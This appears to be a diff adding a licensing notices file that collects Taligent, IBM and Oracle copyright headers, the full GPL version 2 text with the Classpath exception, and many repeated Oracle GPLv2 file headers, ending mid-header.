+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996, 1997 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996,1997 - All Rights Reserved
+(C) Copyright IBM Corp. 1996, 1997 - All Rights Reserved
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996-1998 -  All Rights Reserved
+(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+(C) Copyright Taligent, Inc. 1996-1998 - All Rights Reserved
+(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
+
+  The original version of this source code and documentation is copyrighted
+and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
+materials are provided under terms of a License Agreement between Taligent
+and Sun. This technology is protected by multiple US and International
+patents. This notice and attribution to Taligent may not be removed.
+  Taligent is a registered trademark of Taligent, Inc.
+
+-------------------------------------------------------------------
+
+*******************************************************************************
+* Copyright (C) 1996-2004, International Business Machines Corporation and    *
+* others. All Rights Reserved.                                                *
+*******************************************************************************
+
+-------------------------------------------------------------------
+
+Oracle designates certain files in this repository as subject to the "Classpath" exception.
+The designated files include the following notices. In the following notices, the
+LICENSE file referred to is:
+
+**********************************
+START LICENSE file
+**********************************
+
+The GNU General Public License (GPL)
+
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it.  By contrast, the GNU General Public License is intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.  This General Public License applies to
+most of the Free Software Foundation's software and to any other program whose
+authors commit to using it.  (Some other Free Software Foundation software is
+covered by the GNU Library General Public License instead.) You can apply it to
+your programs, too.
+
+When we speak of free software, we are referring to freedom, not price.  Our
+General Public Licenses are designed to make sure that you have the freedom to
+distribute copies of free software (and charge for this service if you wish),
+that you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs; and that you know you
+can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny
+you these rights or to ask you to surrender the rights.  These restrictions
+translate to certain responsibilities for you if you distribute copies of the
+software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for
+a fee, you must give the recipients all the rights that you have.  You must
+make sure that they, too, receive or can get the source code.  And you must
+show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software.  If the
+software is modified by someone else and passed on, we want its recipients to
+know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents.  We
+wish to avoid the danger that redistributors of a free program will
+individually obtain patent licenses, in effect making the program proprietary.
+To prevent this, we have made it clear that any patent must be licensed for
+everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice
+placed by the copyright holder saying it may be distributed under the terms of
+this General Public License.  The "Program", below, refers to any such program
+or work, and a "work based on the Program" means either the Program or any
+derivative work under copyright law: that is to say, a work containing the
+Program or a portion of it, either verbatim or with modifications and/or
+translated into another language.  (Hereinafter, translation is included
+without limitation in the term "modification".) Each licensee is addressed as
+"you".
+
+Activities other than copying, distribution and modification are not covered by
+this License; they are outside its scope.  The act of running the Program is
+not restricted, and the output from the Program is covered only if its contents
+constitute a work based on the Program (independent of having been made by
+running the Program).  Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as
+you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and
+disclaimer of warranty; keep intact all the notices that refer to this License
+and to the absence of any warranty; and give any other recipients of the
+Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may
+at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus
+forming a work based on the Program, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all of
+these conditions:
+
+    a) You must cause the modified files to carry prominent notices stating
+    that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in whole or
+    in part contains or is derived from the Program or any part thereof, to be
+    licensed as a whole at no charge to all third parties under the terms of
+    this License.
+
+    c) If the modified program normally reads commands interactively when run,
+    you must cause it, when started running for such interactive use in the
+    most ordinary way, to print or display an announcement including an
+    appropriate copyright notice and a notice that there is no warranty (or
+    else, saying that you provide a warranty) and that users may redistribute
+    the program under these conditions, and telling the user how to view a copy
+    of this License.  (Exception: if the Program itself is interactive but does
+    not normally print such an announcement, your work based on the Program is
+    not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If identifiable
+sections of that work are not derived from the Program, and can be reasonably
+considered independent and separate works in themselves, then this License, and
+its terms, do not apply to those sections when you distribute them as separate
+works.  But when you distribute the same sections as part of a whole which is a
+work based on the Program, the distribution of the whole must be on the terms
+of this License, whose permissions for other licensees extend to the entire
+whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise the
+right to control the distribution of derivative or collective works based on
+the Program.
+
+In addition, mere aggregation of another work not based on the Program with the
+Program (or with a work based on the Program) on a volume of a storage or
+distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may copy and distribute the Program (or a work based on it, under
+Section 2) in object code or executable form under the terms of Sections 1 and
+2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable source
+    code, which must be distributed under the terms of Sections 1 and 2 above
+    on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three years, to
+    give any third party, for a charge no more than your cost of physically
+    performing source distribution, a complete machine-readable copy of the
+    corresponding source code, to be distributed under the terms of Sections 1
+    and 2 above on a medium customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer to
+    distribute corresponding source code.  (This alternative is allowed only
+    for noncommercial distribution and only if you received the program in
+    object code or executable form with such an offer, in accord with
+    Subsection b above.)
+
+The source code for a work means the preferred form of the work for making
+modifications to it.  For an executable work, complete source code means all
+the source code for all modules it contains, plus any associated interface
+definition files, plus the scripts used to control compilation and installation
+of the executable.  However, as a special exception, the source code
+distributed need not include anything that is normally distributed (in either
+source or binary form) with the major components (compiler, kernel, and so on)
+of the operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the source
+code from the same place counts as distribution of the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as
+expressly provided under this License.  Any attempt otherwise to copy, modify,
+sublicense or distribute the Program is void, and will automatically terminate
+your rights under this License.  However, parties who have received copies, or
+rights, from you under this License will not have their licenses terminated so
+long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it.
+However, nothing else grants you permission to modify or distribute the Program
+or its derivative works.  These actions are prohibited by law if you do not
+accept this License.  Therefore, by modifying or distributing the Program (or
+any work based on the Program), you indicate your acceptance of this License to
+do so, and all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor to
+copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of the
+rights granted herein.  You are not responsible for enforcing compliance by
+third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues), conditions
+are imposed on you (whether by court order, agreement or otherwise) that
+contradict the conditions of this License, they do not excuse you from the
+conditions of this License.  If you cannot distribute so as to satisfy
+simultaneously your obligations under this License and any other pertinent
+obligations, then as a consequence you may not distribute the Program at all.
+For example, if a patent license would not permit royalty-free redistribution
+of the Program by all those who receive copies directly or indirectly through
+you, then the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply and
+the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or
+other property right claims or to contest validity of any such claims; this
+section has the sole purpose of protecting the integrity of the free software
+distribution system, which is implemented by public license practices.  Many
+people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose that
+choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain
+countries either by patents or by copyrighted interfaces, the original
+copyright holder who places the Program under this License may add an explicit
+geographical distribution limitation excluding those countries, so that
+distribution is permitted only in or among countries not thus excluded.  In
+such case, this License incorporates the limitation as if written in the body
+of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of the
+General Public License from time to time.  Such new versions will be similar in
+spirit to the present version, but may differ in detail to address new problems
+or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any later
+version", you have the option of following the terms and conditions either of
+that version or of any later version published by the Free Software Foundation.
+If the Program does not specify a version number of this License, you may
+choose any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission.  For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status of
+all derivatives of our free software and of promoting the sharing and reuse of
+software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE
+PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
+INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND
+PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE,
+YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE
+PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
+INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
+BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER
+OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program.  It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+    One line to give the program's name and a brief idea of what it does.
+
+    Copyright (C) <year> <name of author>
+
+    This program is free software; you can redistribute it and/or modify it
+    under the terms of the GNU General Public License as published by the Free
+    Software Foundation; either version 2 of the License, or (at your option)
+    any later version.
+
+    This program is distributed in the hope that it will be useful, but WITHOUT
+    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+    more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc., 59
+    Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when it
+starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
+    with ABSOLUTELY NO WARRANTY; for details type 'show w'.  This is free
+    software, and you are welcome to redistribute it under certain conditions;
+    type 'show c' for details.
+
+The hypothetical commands 'show w' and 'show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may be
+called something other than 'show w' and 'show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.  Here
+is a sample; alter the names:
+
+    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+    'Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+    signature of Ty Coon, 1 April 1989
+
+    Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General Public
+License instead of this License.
+
+
+"CLASSPATH" EXCEPTION TO THE GPL
+
+Certain source files distributed by Oracle America and/or its affiliates are
+subject to the following clarification and special exception to the GPL, but
+only where Oracle has expressly included in the particular source file's header
+the words "Oracle designates this particular file as subject to the "Classpath"
+exception as provided by Oracle in the LICENSE file that accompanied this code."
+
+    Linking this library statically or dynamically with other modules is making
+    a combined work based on this library.  Thus, the terms and conditions of
+    the GNU General Public License cover the whole combination.
+
+    As a special exception, the copyright holders of this library give you
+    permission to link this library with independent modules to produce an
+    executable, regardless of the license terms of these independent modules,
+    and to copy and distribute the resulting executable under terms of your
+    choice, provided that you also meet, for each linked independent module,
+    the terms and conditions of the license of that module.  An independent
+    module is a module which is not derived from or based on this library.  If
+    you modify this library, you may extend this exception to your version of
+    the library, but you are not obligated to do so.  If you do not wish to do
+    so, delete this exception statement from your version.
+**********************************
+END LICENSE file
+**********************************
+
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 1998, 1999, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 1998, 2003, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 2000, 2004, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+ Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+<!--
+Copyright (c) 1999, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+<!--
+Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+
+ Copyright (c) 2001, Oracle and/or its affiliates. All rights reserved.
+ DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+ This code is free software; you can redistribute it and/or modify it
+ under the terms of the GNU General Public License version 2 only, as
+ published by the Free Software Foundation.  Oracle designates this
+ particular file as subject to the "Classpath" exception as provided
+ by Oracle in the LICENSE file that accompanied this code.
+
+ This code is distributed in the hope that it will be useful, but WITHOUT
+ ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+ version 2 for more details (a copy is included in the LICENSE file that
+ accompanied this code).
+
+ You should have received a copy of the GNU General Public License version
+ 2 along with this work; if not, write to the Free Software Foundation,
+ Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+ Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+ or visit www.oracle.com if you need additional information or have any
+ questions.
+
+-------------------------------------------------------------------
+
+ Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
